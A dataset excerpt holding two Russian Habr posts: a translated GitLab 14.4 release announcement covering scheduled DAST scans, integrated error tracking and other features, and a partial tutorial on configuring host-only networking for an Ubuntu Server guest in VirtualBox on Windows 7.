text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Вышел релиз GitLab 14.4 с запуском DAST-сканирований по расписанию и встроенным отслеживанием ошибок
Мы рады представить вам релиз GitLab `14.4` с [запуском DAST-сканирований по расписанию](#zapusk-dast-skanirovaniy-po-raspisaniyu), [интегрированным в GitLab отслеживанием ошибок без использования отдельного инстанса Sentry](#vstroennoe-v-gitlab-otslezhivanie-oshibok), [просмотром удалённых GitLab-репозиториев в Visual Studio Code](#prosmotr-udalyonnyh-gitlab-repozitoriev-v-visual-studio-code), [графиком динамики внедрения DevOps](#grafik-dinamiki-vnedreniya-devops), [GitLab Operator в общем доступе](#gitlab-operator-vyshel-v-obschiy-dostup) и многим другим!
Это — лишь несколько основных из более чем `30` улучшений этого релиза. Читайте далее, и вы узнаете всё об этих классных обновлениях. Чтобы узнать, что выйдет в следующем месяце, зайдите на страницу [предстоящих релизов](https://about.gitlab.com/direction/kickoff/), где вы найдёте видео по релизу 14.5.
[Приглашаем на наши встречи](https://about.gitlab.com/events/).
[MVP](https://about.gitlab.com/community/mvp/) этого месяца — [Ethan Reesor](https://gitlab.com/firelizzard)
------------------------------------------------------------------------------------------------------------
[Ehtan](https://gitlab.com/firelizzard) подключился к работе над расширением [GitLab Workflow](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow) для VS Code и предложил свою помощь в реализации поддержки удалённых репозиториев для проектов, размещённых на GitLab. Это была непростая работа, которая потребовала не [одного](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/merge_requests/321), [двух](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/merge_requests/333), [трёх](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/merge_requests/337) или даже [четырёх](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/merge_requests/338), а целых [пяти](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/merge_requests/351) мерж-реквестов для реализации этой фичи.
Также Ethan активно участвовал в работе как над тикетами, так и над другими мерж-реквестами в GitLab Workflow, помогая как кодом, так и ответами на вопросы и проблемы пользователей. Ethan даже исправил найденную пользователем ошибку в удалённых репозиториях после завершения работы над ними, чтобы эта фича работала хорошо для всех.
Спасибо Ethan за всё, что он сделал для поддержки [расширения GitLab для VS Code](https://gitlab.com/gitlab-org/gitlab-vscode-extension)!
Основные фичи релиза GitLab 14.4
--------------------------------
### Запуск DAST-сканирований по расписанию
(SaaS: ULTIMATE; self-managed: ULTIMATE) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Динамическое тестирование безопасности приложений (Dynamic Application Security Testing, DAST) в GitLab теперь поддерживает запуск сканирований по расписанию. Ранее DAST-сканирование по требованию можно было запустить только вручную, что ограничивало область использования таких сканирований только случаями, когда сканирование требуется запустить немедленно. С помощью нового планировщика вы можете настроить сканирование DAST на однократный запуск в определённое время или на регулярной основе. Если добавление DAST в конвейеры (в русской локализации GitLab «сборочные линии») не подходит для вашей организации, или если правила безопасности или соответствия требованиям в вашей области предписывают, чтобы сканирование проводилось по расписанию, это нововведение предоставляет простой способ создать запланированное сканирование для удовлетворения ваших потребностей.
Сканирование может быть связано с веткой по умолчанию, что позволяет отображать его результаты на панели безопасности и в списке уязвимостей. В сочетании с профилями сканирования и сайта, сканирование по расписанию предоставляет быстрый и удобный доступ к результатам DAST для вашего приложения или API — по расписанию, удобному для ваших команд разработчиков и безопасности.
[Документация по запуску DAST-сканирований по расписанию](https://docs.gitlab.com/ee/user/application_security/dast/index.html#schedule-an-on-demand-scan) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/4876).
### Просмотр удалённых GitLab-репозиториев в Visual Studio Code
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
При работе в редакторе вам может понадобиться обратиться к другому проекту или библиотеке за дополнительной информацией. Если вы не храните этот проект локально, вам приходится либо покидать редактор и искать проект на GitLab, либо находить и затем клонировать проект к себе, чтобы просмотреть его в редакторе. Обе эти задачи нарушают текущий контекст, влекут за собой задержки и могут перенести вас в менее привычный интерфейс для работы с кодом.
Версия `3.33.0` расширения [GitLab Workflow](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow) предоставляет возможность открыть удалённый репозиторий. Откройте командную панель и используйте команду `GitLab: Open Remote Repository`, чтобы найти и затем открыть нужный проект.
Открытие удалённого репозитория позволяет вам просматривать версию проекта в режиме только для чтения в привычной среде VS Code. Вы можете быстро найти нужную информацию, сравнить реализацию или скопировать нужный фрагмент кода.
Спасибо [Ethan Reesor](https://gitlab.com/firelizzard) за потрясающую работу и множество внесённых мерж-реквестов, которые потребовались для добавления этой фичи!
[Документация по просмотру удалённых репозиториев в VS Code](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/blob/main/README.md#browse-a-repository-without-cloning) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/411).
### GitLab Operator вышел в общий доступ
(self-managed: FREE, PREMIUM, ULTIMATE) [Доступность](https://about.gitlab.com/handbook/engineering/development/enablement)
Мы рады объявить о выходе в общий доступ [GitLab Operator](https://about.gitlab.com/blog/2021/10/12/open-shift-ga/) с возможностью запуска продакшен инстансов GitLab на платформах Kubernetes, включая Red Hat OpenShift. GitLab Operator также автоматизирует операции второго дня: обновление компонентов, перенастройку приложений и автомасштабирование. Дополнительную информацию вы можете найти в [документации по установке GitLab Operator](https://docs.gitlab.com/charts/installation/operator.html).
[Документация по GitLab Operator](https://docs.gitlab.com/charts/installation/operator.html) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/5486).
### График динамики внедрения DevOps
(SaaS: ULTIMATE; self-managed: ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
В GitLab 14.4 мы добавили новый график динамики внедрения DevOps на уровне группы. Этот график показывает, как группы используют DevOps-фичи с течением времени, и может дать представление о том, как быстро группы внедряют дополнительные процессы DevOps. График разделён по направлениям Dev, Sec и Ops.
[Документация по новому графику](https://docs.gitlab.com/ee/user/group/devops_adoption/#adoption-over-time) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/337561).
### Встроенное в GitLab отслеживание ошибок
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Monitor](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
До версии 14.4 вы могли подключить отслеживание ошибок в GitLab с помощью Sentry, предоставив конечную точку для бэкенда Sentry — либо самостоятельно развёрнутого, либо в их облачном сервисе. С релизом Gitlab 14.4 у вас появляется доступ к совместимому с Sentry бэкенду, уже подключённому к вашему инстансу GitLab. Вы сможете быстро проверять свои приложения и просматривать ошибки непосредственно в GitLab без использования отдельного инстанса Sentry.
[Документация по встроенному отслеживанию ошибок](https://docs.gitlab.com/ee/operations/error_tracking.html#integrated-error-tracking) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/329596).
Другие улучшения в релизе GitLab 14.4
-------------------------------------
### Использование SAML nickname и username assertions на GitLab.com
(SaaS: PREMIUM, ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Ранее имена пользователей в assertion-атрибутах SAML на GitLab.com определялись на основе адреса электронной почты пользователя. Теперь если ответ SAML включает атрибут `username` или `nickname`, для определения будет использоваться имя пользователя GitLab. Это позволяет более свободно задавать имена пользователей при использовании поставщика учётных данных.
[Документация по SAML в GitLab](https://docs.gitlab.com/ee/user/group/saml_sso/#assertions) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/328005).
### Сортировка для аналитики цикла разработки на уровне проекта
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Аналитика цикла разработки (Value Stream Analytics) для проектов стала ещё лучше. Теперь вы можете сортировать элементы рабочего процесса на каждой стадии по времени или названию. Мы также добавили пагинацию, чтобы облегчить поиск и отображение интересующих вас тикетов (в русской локализации GitLab «обсуждения»).
[Документация по аналитике цикла разработки](https://docs.gitlab.com/ee/user/analytics/value_stream_analytics.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/335974).
### Навигация по требованиям теперь в разделе тикетов
(SaaS: ULTIMATE; self-managed: ULTIMATE) [Стадия цикла DevOps: Plan](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Для упрощения навигации по проектам мы передвинули раздел «Требования» в меню тикетов. Мы продолжаем работать над тем, чтобы подстроить навигацию под самые частые задачи пользователей и уменьшить число пунктов основного меню путём группировки фич в пунктах подменю.
[Документация по требованиям проекта](https://docs.gitlab.com/ee/user/project/requirements/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/338884).
### Переход к Web IDE одним нажатием клавиши
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
Теперь пользоваться преимуществами мощной Web IDE и вносить изменения в проекты с помощью вашего браузера стало ещё проще. Просто нажмите клавишу `.` (точка) на клавиатуре, чтобы открыть Web IDE, в которой будет загружен текущий контекст, и начинайте редактировать нужный файл. Что просматривать файлы репозитория, что делать ревью мерж-реквеста (в русской локализации GitLab «запрос на слияние») — теперь можно приступить к работе, не отрывая рук от клавиатуры.
[Документация по Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/340095).
### Ограничение числа обработчиков заданий в группе или проекте
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Verify](https://about.gitlab.com/stages-devops-lifecycle/verify/)
В GitLab 13.12 мы представили первую версию этой фичи, добавив ограничение числа обработчиков заданий, зарегистрированных в группе или проекте. В версии 14.4 эта фича стала полностью доступной и на GitLab.com, и для отдельных инстансов. Она ограничивает число зарегистрированных обработчиков заданий — теперь максимум 1000. Для администраторов инстансов с самостоятельным управлением это означает, что вы можете вводить это ограничение на уровне группы и проекта. Это поможет снизить административную нагрузку от того, что команды регистрируют новые обработчики заданий, не удаляя неактивные.
[Документация по ограничению числа обработчиков заданий](https://docs.gitlab.com/ee/administration/instance_limits.html#number-of-registered-runners-per-scope) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/342757).
### Создание записей об уязвимостях напрямую через API
(SaaS: ULTIMATE; self-managed: ULTIMATE) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
GitLab помогает вам легко обрабатывать и устранять проблемы с безопасностью, найденные нашими [инструментами сканирования безопасности](https://docs.gitlab.com/ee/user/application_security/#security-scanning-tools) или интегрированными сторонними инструментами. Единственное ограничение — данные об уязвимостях могут поступать только от одного из этих инструментов. Если вы хотите получать информацию об уязвимостях из других источников, на данный момент нет простого способа это сделать.
Мы решили избавиться от этого ограничения, добавив новые свойства GraphQL, используемые при создании объектов типа «уязвимость». Это позволит вам программно добавлять информацию об уязвимостях из внешних источников напрямую в проекты. Вместе с уже существующими инструментами GraphQL для управления уязвимостями это открывает много новых возможностей автоматизации. Например, вы сможете настроить синхронизацию с внешней программой поиска багов или добавлять найденные уязвимости из инструментов безопасности, которые могли не подходить для заданий конвейера. Всё это позволяет получить более полное представление об уязвимостях проекта.
[Документация по GraphQL API](https://docs.gitlab.com/ee/api/graphql/reference/#mutationvulnerabilitycreate) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/10272).
### SAST-анализатор Semgrep для Go
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
В GitLab 13.12 мы [выпустили анализатор Semgrep для Javascript, TypeScript и Python](https://habr.com/ru/post/561736/#semgrep--analizator-sast-dlya-javascript-typescript-i-python). Сегодня мы добавляем в анализатор Semgrep поддержку проектов, написанных на языке Go. Начиная с версии 14.4 мы обновляем наш шаблон CI `SAST.gitlab-ci.yml` для автоматического запуска этого нового анализатора вместе с уже существующим анализатором для Go — [GoSec](https://gitlab.com/gitlab-org/security-products/analyzers/gosec). В одном из будущих релизов мы полностью отключим GoSec, но пока что он будет работать вместе с Semgrep. Мы провели работу по дедупликации результатов, так что вы не должны заметить разницу.
Если вы используете поставляемый GitLab шаблон `SAST.gitlab-ci.yml`, вам не потребуется ничего делать, чтобы начать использовать анализатор Semgrep для Go. Однако, если вы переопределили этот шаблон по умолчанию, или вы сами управляете конфигурацией SAST CI, [вам следует обновить вашу CI-конфигурацию](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml#L236).
Мы с нетерпением ждём этого перехода и рады предоставить вам быстрое и более полное покрытие статическим тестированием безопасности приложений (Static Application Security Testing, SAST). Мы продолжим добавлять в анализатор Semgrep новые правила поиска уязвимостей, а также покрытие для других языков. В [тикете для обратной связи](https://gitlab.com/gitlab-org/gitlab/-/issues/330578) вы можете поделиться своим опытом работы с новым анализатором или задать вопросы.
[Документация по поддерживаемым языкам и фреймворкам](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/339865).
### Режимы обработки для групп ресурсов
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Release](https://about.gitlab.com/stages-devops-lifecycle/release/)
Создание группы ресурсов в задании CI/CD позволяет предотвратить одновременное выполнение одного и того же задания, когда один и тот же конвейер работает параллельно. Такое может произойти, например, если вы делаете пуш нескольких коммитов в очень короткий промежуток времени. Запуск нескольких скриптов развёртывания в одной и той же инфраструктуре может нанести вред вашему инстансу, а в худшем случае — оставить его в повреждённом состоянии. По умолчанию для группы ресурсов установлен режим обработки `unordered` (неупорядоченный). В этом режиме задание запускается по мере готовности.
В GitLab 14.4 мы добавили два новых режима обработки, которые будут полезны для запуска заданий в определённом порядке: `oldest_first` и `newest_first`. В режиме `oldest_first` система будет запускать задания в порядке FIFO («первым пришёл — первым ушёл»), а в режиме `newest_first` — в порядке LIFO («последним пришёл — первым ушёл»).
[Документация по режимам обработки групп ресурсов](https://docs.gitlab.com/ee/ci/resource_groups/#process-modes) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/202186).
### Сортировка таблицы внедрения DevOps
(SaaS: ULTIMATE; self-managed: ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Таблица, показывающая уровень внедрения DevOps, стала ещё лучше! Теперь вы можете сортировать группы и подгруппы в таблице DevOps Adoption по имени столбца, что упрощает поиск интересующей вас группы.
[Документация по таблице внедрения DevOps](https://docs.gitlab.com/ee/user/group/devops_adoption/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/337666).
### Фильтрация меток, ограничивающих область действия, с помощью символов подстановки
(SaaS: PREMIUM, ULTIMATE; self-managed: PREMIUM, ULTIMATE) [Стадия цикла DevOps: Plan](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Теперь вы можете фильтровать метки, ограничивающие область действия (scoped labels), с помощью символов подстановки. Это поможет быстро находить тикеты, эпики (в русской локализации GitLab «цели») или мерж-реквесты, которые имеют один и тот же ключ из набора меток с ограниченной областью действия. Вы также можете использовать оператор `!=` (не), чтобы отфильтровать элементы, которые **не** включают метки из набора меток с ограниченной областью действия. Чтобы фильтровать с помощью символов подстановки, просто добавьте `*` после ввода ключа метки (например, `label::*`).
[Документация по фильтрации меток с ограниченной областью действия](https://docs.gitlab.com/ee/user/project/labels.html#filter-by-scoped-labels) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/12285).
### Пользовательское описание коммита для пакетного предложения изменений
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
Предложение изменений прямо в мерж-реквесте ускоряет и упрощает ревью кода: можно быстро предлагать и применять изменения одним нажатием кнопки. В GitLab 13.9 мы сделали этот процесс удобнее, предоставив пользователям возможность [добавлять описания коммитов для предлагаемых изменений](https://habr.com/ru/post/546818/#prinimayte-predlozhenie-s-nastraivaemym-opisaniem-kommita), чтобы улучшить рабочие процессы, где такие описания нужны. Однако это нельзя было использовать для [пакетных предложений](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/suggestions.html#batch-suggestions) — пользователям приходилось либо применять предложения по одному, либо локально применять squash ко всем коммитам перед мержем.
Теперь вы можете задавать своё описание коммита при применении пакетных предложений. Это позволяет авторам и соавторам принимать предложения и следовать рекомендациям по описаниям коммитов для проектов. Это также уменьшает количество коммитов — все предложения объединяются в один коммит с нужным описанием. Если пользователь не указал описание коммита, у такого коммита-предложения будет описание по умолчанию.
[Документация по предложениям и ревью кода](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/suggestions.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/326168).
### Уведомления в Slack о новых уязвимостях
(SaaS: ULTIMATE; self-managed: ULTIMATE) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
Интеграция Slack в GitLab теперь позволяет создавать уведомления при обнаружении новой уязвимости. Это гарантирует, что нужные члены команды узнают обо всём вовремя и обратят достаточно внимания на новые уязвимости.
[Документация по уведомлениям в Slack](https://docs.gitlab.com/ee/user/project/integrations/slack.html#slack-notifications-service) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/334951).
### Повышение безопасности использования CI\_JOB\_TOKEN для ботов и не только
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Verify](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Переменная CI/CD `CI_JOB_TOKEN` делает вызовы API в заданиях CI/CD интуитивно более понятными, поскольку обеспечивает расширенную автоматизацию. Например, эту переменную можно использовать с проектами-ботами, которые запускают конвейеры в других проектах. Этот токен недолговечен, но мы постарались сделать его использование ещё более безопасным, добавив настройку, позволяющую вам ограничить проекты, к которым можно получить доступ с помощью токена задания CI вашего проекта. Доступ к другим проектам через API с этим токеном будет запрещён. Это даёт вам дополнительный контроль, к каким проектам у вашего бота будет доступ, и дополнительный уровень безопасности при использовании переменной CI/CD `CI_JOB_TOKEN`.
Пока этот параметр по умолчанию отключён, чтобы не повлиять на уже существующие проекты, но мы настоятельно рекомендуем включить его во всех ваших проектах.
[Документация по ограничению доступа токена CI\_JOB\_TOKEN](https://docs.gitlab.com/ee/ci/jobs/ci_job_token.html#limit-gitlab-cicd-job-token-access) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/328553).
### Правила очистки для прокси зависимостей
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Package](https://about.gitlab.com/stages-devops-lifecycle/package/)
Вы можете использовать прокси зависимостей GitLab для проксирования и кэширования образов контейнеров из Docker Hub для более быстрой и надёжной сборки. Проблема в том, что со временем ваша команда может добавить в кэш слишком много элементов, что может привести к увеличению затрат на хранение.
Раньше вы могли обходить это, используя [API](https://docs.gitlab.com/ee/api/dependency_proxy.html) для очистки всего кэша. Но это неэффективно, так как вам нужно удалять только устаревшие элементы, которые больше не используются. Вот почему мы добавили правила очистки для прокси зависимостей. Теперь вы можете программно удалять из кэша теги образов, которые ваша команда в последнее время не использовала.
Просто настройте количество дней, и все кэшированные файлы зависимостей, которые не использовались в течение этого количества дней, будут удалены. Мы рекомендуем 90 дней в качестве хорошей отправной точки. Правила очистки для прокси зависимостей можно установить с помощью GraphQL API. В настоящее время мы также работаем над [добавлением этой настройки в пользовательский интерфейс](https://gitlab.com/gitlab-org/gitlab/-/issues/340777).
[Документация по правилам очистки для прокси зависимостей](https://docs.gitlab.com/ee/user/packages/dependency_proxy/#cleanup-policies) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/294187).
### Отключили автоматическое решение проблем при обнаружении секретных ключей в мерж-реквесте
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Текущая реализация обнаружения секретных ключей (Secret Detection) автоматически устраняет обнаруженные проблемы и помечает их как исправленные. Это происходит при каждом сканировании на ключи, которое выполняется путём сравнения между выполнениями конвейера. С учётом [сканирования ключей по Git-истории](https://docs.gitlab.com/ee/user/application_security/secret_detection/#full-history-secret-detection), введённого в [GitLab 13.0](https://habr.com/ru/post/506658/#poisk-sekretnyh-klyuchey-v-polnoy-istorii-repozitoriya), мы не хотим автоматически устранять обнаруженные результаты, потому что это может скрыть оставшиеся уязвимости с опубликованными ключами, при том, что они всё ещё остаются в истории Git. Это изменение в поведении сделает удобнее сканирование ключей по всей Git-истории, а также обеспечит более понятные записи для возможных аудитов при обычном обнаружении секретных ключей и упорядочит [управление уязвимостями](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) при обнаружении ключей с помощью других наших сканеров безопасности.
[Документация по обнаружению секретных ключей](https://docs.gitlab.com/ee/user/application_security/secret_detection) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/223248).
### Обновления анализаторов SAST
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Статическое тестирование безопасности приложений (SAST) в GitLab включает в себя [множество анализаторов безопасности](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks), активно управляемых, поддерживаемых и обновляемых командой статического анализа GitLab. Ниже представлены обновления анализаторов, выпущенные в релизе 14.4. В этих обновлениях было расширено покрытие и добавлены прочие улучшения, а также исправлены ошибки.
* Semgrep обновили до версии 0.69.1 ([мерж-реквест](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep/-/merge_requests/82), [список изменений](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep/-/blob/199c1b81fb25156b62c3ebf4a83a08c29365e0ae/CHANGELOG.md)). Было отменено изменение, исключавшее минифицированные файлы из сканирования.
* Flawfinder обновили до версии 2.14.5 ([мерж-реквест](https://gitlab.com/gitlab-org/security-products/analyzers/flawfinder/-/merge_requests/68/), [список изменений](https://gitlab.com/gitlab-org/security-products/analyzers/flawfinder/-/merge_requests/68/diffs#diff-content-ab09011fa121d0a2bb9fa4ca76094f2482b902b7)). Добавлено 2 новых правила обнаружения.
* MobSF обновили до версии 2.13.2 ([мерж-реквест](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf/-/merge_requests/38), [список изменений](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf/-/blob/4080792719028383d7e4c3153d8eefc426b3c7e6/CHANGELOG.md)). Пакеты ОС Linux обновлены до последних версий.
* pmd-apex обновили до версии 6.3.9 ([мерж-реквест](https://gitlab.com/gitlab-org/security-products/analyzers/pmd-apex/-/merge_requests/70), [список изменений](https://gitlab.com/gitlab-org/security-products/analyzers/pmd-apex/-/blob/771412c0cd2569fbd6d02740b2ebaeaec179fa5b/CHANGELOG.md#v2126)).
Если вы [используете поставляемый GitLab шаблон](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-manually) ([`SAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml)), то вам не нужно ничего делать, чтобы получить эти обновления. Однако если вы переопределяете его или используете свой собственный шаблон CI, вам потребуется обновить ваши CI-конфигурации. Если вы хотите использовать определённую версию любого анализатора, теперь вы можете [закрепить минорную версию анализатора](https://docs.gitlab.com/ee/user/application_security/sast/#pinning-to-minor-image-version). Закрепление одной из предыдущих версий отменит автоматические обновления анализатора, и вам потребуется вручную менять версию анализатора в шаблоне CI/CD.
[Документация по настройке анализаторов SAST](https://docs.gitlab.com/ee/user/application_security/sast/analyzers) и [оригинальный тикет](https://gitlab.com/gitlab-org/security-products/release/-/issues/115).
### Улучшения для удобства использования
В каждом релизе мы делаем большие шаги по повышению общей эффективности и полезности нашего продукта.
У нас также есть [галерея UI Polish](https://nicolasdular.gitlab.io/gitlab-polish-gallery/) для отслеживания важных обновлений наших интерфейсов. Эти обновления, хоть часто и небольшие, делают интерфейсы заметно удобнее.
В GitLab 14.4 мы поработали над тикетами, проектами, майлстоунами (в русской локализации GitLab «этапы») и многим другим! Мы особо выделяем следующие изменения в GitLab 14.4:
* [Улучшенная обработка ошибок подключения с реестром контейнеров](https://gitlab.com/gitlab-org/gitlab/-/issues/227466).
* [Настройки прокси зависимостей теперь среди остальных настроек](https://gitlab.com/gitlab-org/gitlab/-/issues/322841).
* [Улучшили способ удаления тегов образов](https://gitlab.com/gitlab-org/gitlab/-/issues/336933).
* [Переключатель уровня инстанса/проекта для выбора нужной конечной точки при настройке пакета в реестре npm](https://gitlab.com/gitlab-org/gitlab/-/issues/334107).
* [Добавили параметр «60 дней» в правила очистки образов контейнеров](https://gitlab.com/gitlab-org/gitlab/-/issues/342958).
* [В коммитах теперь можно различать автора и того, кто отправил коммит](https://gitlab.com/gitlab-org/gitlab/-/issues/329227).
* [Улучшение комментариев в мобильной версии](https://gitlab.com/gitlab-org/gitlab/-/issues/214732).
* [Добавили часовой пояс во всплывающее окно профиля пользователя GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/337935).
[Посмотрите все улучшения интерфейса в GitLab 14.4](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=closed&milestone_title=14.4&label_name%5B%5D=UX%20debt)
---
Полный текст релиза и инструкции по обновлению/установке вы можете найти в оригинальном англоязычном посте [GitLab 14.4 released with Scheduled DAST scans and Integrated error tracking](https://about.gitlab.com/releases/2021/10/22/gitlab-14-4-released/).
Над переводом с английского работали [cattidourden](https://habr.com/ru/users/cattidourden/), [maryartkey](https://habr.com/ru/users/maryartkey/), [ainoneko](https://habr.com/ru/users/ainoneko/) и [rishavant](https://habr.com/ru/users/rishavant/). | https://habr.com/ru/post/587870/ | null | ru | null |
# Настройка сети в гостевой Ubuntu 16.04 Server на VirtualBox + Windows 7
Весна, снова потянуло на эксперименты. Ну, в моем понимании этого слова. Решил поставить себе в Windows 7 виртуальную машину, а в эту машину — Ubuntu 16.04 Server (под которой работает хостинг для моих сайтов). И не то чтобы меня как-то OpenServer не устраивает — он как раз весьма неплох в качестве домашнего WAMP-а, но всё же иногда хочется иметь под рукой локально и LAMP, ну просто потому что. В качестве виртуальной машины [ожидаемо] выбрал VirtualBox.
В целом, установка Ubuntu 16.04 Server на VirtualBox каких-то особых вопросов не вызвала, но вот настройка сети в Ubuntu так, чтобы ее было видно из Windows, поставила меня в тупик. Ибо опыта в этом деле — 0, а мануалы по теме хотя и гуглятся во множестве, но в каждом из них тема почему-то раскрыта лишь частично, и требует уже определенного уровня знания Linux и принципов работы сетевых интерфейсов.
В конечном итоге я этот вопрос решил и теперь делюсь с теми, кому оно тоже актуально. Приступим.
**1.** Скачиваем VirtualBox для Windows [www.virtualbox.org/wiki/Downloads](https://www.virtualbox.org/wiki/Downloads)
**2.** Скачиваем Ubuntu Server 16.04 [www.ubuntu.com/download/server](https://www.ubuntu.com/download/server)
**3.** Устанавливаем VirtualBox в систему (ставится легко, раскрывать этот вопрос здесь не буду, в крайнем случае — в сети есть много шпаргалок по теме).
**4.** Ставим Ubuntu Server 16.04 в VirtualBox. Здесь тоже всё не сложнее (а то и проще), чем установка винды, например, и много всяких хороших руководств с картинками (они, в общем, и не требуются — всё интуитивно понятно). Но есть пара нюансов:
**4.1** При установке сети выберите автоматическую настройку.
**4.2** При установке пакетов сразу поставьте галки на сервер OpenSSH и LAMP (остальное по желанию) — так проще.
**5.** Я полагаю, что все у вас прошло нормально, Ubuntu загрузилась, и интернет в ней наличествует ( проверить можно командой ping yandex.ru например). Однако, остается вопрос, как, например, законнектиться с Ubuntu из Windows скажем, через SSH. Или просто даже открыть в браузере сайт, работающий на убунтовском Apache.
**6.** Итак, остановим нашу Ubuntu, закроем окно с терминалом, и уже **в главном окне VirtualBox** идем в **Файл → Настройки → Сеть → Виртуальные сети хоста** — справа три маленькие иконки — жмем на нижнюю с изображением отвертки.
**7.** Видим IP-адрес: 192.168.56.1 — это адрес, по которому Windows обращается к VirtualBox.
**8.** Рядом вкладка «DHCP сервер» в нашем случае она пуста (чекбокс не выбран). И пусть таковой и остается.
**9.** Далее идем в настройки гостевой системы (в нашем случае — Ubuntu 16.04.2 Server), щелкаем правой кнопкой на вкладке с системой и выбираем самый верхний пункт «Настроить...».
**10.** Здесь снова идем в «Сеть» (у нас получается два одноименных пункта «Сеть», но в первом случае мы настраивали сеть Windows и VirtualBox, а теперь мы настраиваем сеть гостевой системы — Ubuntu в связке с остальным). Здесь мы видим, что для первого адаптера отмечена NAT. Не меняем.
